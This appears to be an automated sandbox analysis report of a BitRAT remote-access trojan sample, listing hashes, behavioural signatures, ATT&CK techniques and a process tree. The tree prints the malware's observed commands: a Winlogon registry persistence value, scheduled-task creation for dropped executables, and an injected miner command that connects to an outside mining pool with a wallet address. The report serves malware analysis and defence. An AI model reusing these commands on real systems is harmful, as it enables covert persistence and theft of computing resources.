bitrat | aee478258bbebf0a4cb76eb703c210fa363edbb22d484fe3e6fbcf5f2c3d1af4

Resubmissions

03/03/2025, 05:49

250303-gjhrcayxf1 10

26/04/2021, 22:57

210426-27fq4xrdvx 10

Analysis

max time kernel
149s
max time network
136s
platform
windows10_x64
resource
win10v20210410
submitted
26/04/2021, 22:57

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General

Target

6c2934d4_by_Libranalysis.exe
Size

3.5MB
MD5

6c2934d437e948bf2727a4358edb9a59
SHA1

f5a10d17ebb6c2bd247156387d19accc6819cd3f
SHA256

aee478258bbebf0a4cb76eb703c210fa363edbb22d484fe3e6fbcf5f2c3d1af4
SHA512

ccb7c83a5c4f9f96aeeb03ee1460d964bae698e7a0d6b3aec1ab96af0ca7230173023c5c3b1cef29283053153181c69aec3a96bb027e3b39a94fd50ccdf5c246

Score

10^/10

bitrat persistence trojan upx

Malware Config

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

BitRAT Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2664-120-0x00000000007E2370-mapping.dmp	family_bitrat

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "\"C:\\Users\\Admin\\AppData\\Roaming\\nDlv4j2nb6r0yUVx\\NHZjdsjj02O0.exe\",explorer.exe"	6c2934d4_by_Libranalysis.exe

Executes dropped EXE 6 IoCs

pid	Process
3144	YNFLdycIqTEDbJgo.exe
2820	wsappx.exe
2940	sihost32.exe
3436	steamgfx.exe
800	sihost32.exe
2144	steamgfx.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2664-119-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/2664-122-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2664	cvtres.exe
2664	cvtres.exe
2664	cvtres.exe
2664	cvtres.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 3896 set thread context of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3436 set thread context of 3928	3436	steamgfx.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1296	schtasks.exe
1468	schtasks.exe
1428	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3896	6c2934d4_by_Libranalysis.exe
3896	6c2934d4_by_Libranalysis.exe
2820	wsappx.exe
2820	wsappx.exe
3436	steamgfx.exe
3436	steamgfx.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	3896	6c2934d4_by_Libranalysis.exe
Token: SeShutdownPrivilege	2664	cvtres.exe
Token: SeDebugPrivilege	2820	wsappx.exe
Token: SeDebugPrivilege	3436	steamgfx.exe
Token: SeDebugPrivilege	2144	steamgfx.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2664	cvtres.exe
2664	cvtres.exe

Suspicious use of WriteProcessMemory 44 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 3144	3896	6c2934d4_by_Libranalysis.exe	78
PID 3896 wrote to memory of 3144	3896	6c2934d4_by_Libranalysis.exe	78
PID 3896 wrote to memory of 3144	3896	6c2934d4_by_Libranalysis.exe	78
PID 3896 wrote to memory of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3896 wrote to memory of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3896 wrote to memory of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3896 wrote to memory of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3896 wrote to memory of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3896 wrote to memory of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3896 wrote to memory of 2664	3896	6c2934d4_by_Libranalysis.exe	79
PID 3144 wrote to memory of 2820	3144	YNFLdycIqTEDbJgo.exe	80
PID 3144 wrote to memory of 2820	3144	YNFLdycIqTEDbJgo.exe	80
PID 2820 wrote to memory of 3800	2820	wsappx.exe	82
PID 2820 wrote to memory of 3800	2820	wsappx.exe	82
PID 3800 wrote to memory of 1296	3800	cmd.exe	84
PID 3800 wrote to memory of 1296	3800	cmd.exe	84
PID 2820 wrote to memory of 2940	2820	wsappx.exe	85
PID 2820 wrote to memory of 2940	2820	wsappx.exe	85
PID 2820 wrote to memory of 3436	2820	wsappx.exe	86
PID 2820 wrote to memory of 3436	2820	wsappx.exe	86
PID 3436 wrote to memory of 2172	3436	steamgfx.exe	87
PID 3436 wrote to memory of 2172	3436	steamgfx.exe	87
PID 2172 wrote to memory of 1468	2172	cmd.exe	89
PID 2172 wrote to memory of 1468	2172	cmd.exe	89
PID 3436 wrote to memory of 800	3436	steamgfx.exe	90
PID 3436 wrote to memory of 800	3436	steamgfx.exe	90
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 3436 wrote to memory of 3928	3436	steamgfx.exe	91
PID 800 wrote to memory of 2144	800	sihost32.exe	92
PID 800 wrote to memory of 2144	800	sihost32.exe	92
PID 2144 wrote to memory of 1468	2144	steamgfx.exe	93
PID 2144 wrote to memory of 1468	2144	steamgfx.exe	93
PID 1468 wrote to memory of 1428	1468	cmd.exe	95
PID 1468 wrote to memory of 1428	1468	cmd.exe	95

C:\Users\Admin\AppData\Local\Temp\6c2934d4_by_Libranalysis.exe
"C:\Users\Admin\AppData\Local\Temp\6c2934d4_by_Libranalysis.exe"
1⤵
- Modifies WinLogon for persistence
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Users\Admin\AppData\Local\Temp\YNFLdycIqTEDbJgo.exe
  "C:\Users\Admin\AppData\Local\Temp\YNFLdycIqTEDbJgo.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\wsappx.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\wsappx.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2820
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "steamgfx" /tr '"C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3800
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "steamgfx" /tr '"C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"'
        5⤵
        Creates scheduled task(s)
        
        PID:1296
  - - C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"
      4⤵
      Executes dropped EXE
      PID:2940
  - - C:\Users\Admin\AppData\Local\Temp\steamgfx.exe
      "C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3436
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "steamgfx" /tr '"C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"' & exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2172
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "steamgfx" /tr '"C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"'
        6⤵
        Creates scheduled task(s)
        
        PID:1468
    - - C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\inc\sihost32.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:800
      - C:\Users\Admin\AppData\Local\Temp\steamgfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2144
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "steamgfx" /tr '"C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"' & exit
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:1468
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "steamgfx" /tr '"C:\Users\Admin\AppData\Local\Temp\steamgfx.exe"'
        8⤵
        Creates scheduled task(s)
        
        PID:1428
    - - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --response-timeout=30 --farm-retries=30 --pool stratum://`0x687ac23d19389af7925d29280d17be81f33b06c5`@eth-us-east1.nanopool.org:9999 --unam-stealth
        5⤵
        
        PID:3928
- C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
  "C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:2664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Winlogon Helper DLL

T1004

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/800-155-0x00000000015C0000-0x00000000015C2000-memory.dmp

Filesize
8KB

Download
memory/2144-164-0x0000000000F60000-0x0000000000F62000-memory.dmp

Filesize
8KB

Download
memory/2664-119-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/2664-122-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/2820-131-0x000000001C040000-0x000000001C041000-memory.dmp

Filesize
4KB

Download
memory/2820-129-0x000000001C0D0000-0x000000001C0D2000-memory.dmp

Filesize
8KB

Download
memory/2820-126-0x0000000000410000-0x0000000000411000-memory.dmp

Filesize
4KB

Download
memory/2940-144-0x00000000033A0000-0x00000000033A2000-memory.dmp

Filesize
8KB

Download
memory/2940-136-0x0000000000D00000-0x0000000000D01000-memory.dmp

Filesize
4KB

Download
memory/3436-152-0x0000000001930000-0x000000000193A000-memory.dmp

Filesize
40KB

Download
memory/3436-145-0x000000001CBB0000-0x000000001CBB2000-memory.dmp

Filesize
8KB

Download
memory/3896-114-0x00000000011D0000-0x00000000011D1000-memory.dmp

Filesize
4KB

Download
memory/3928-156-0x0000000140000000-0x000000014038E000-memory.dmp

Filesize
3.6MB

Download
memory/3928-153-0x0000000140000000-0x000000014038E000-memory.dmp

Filesize
3.6MB

Download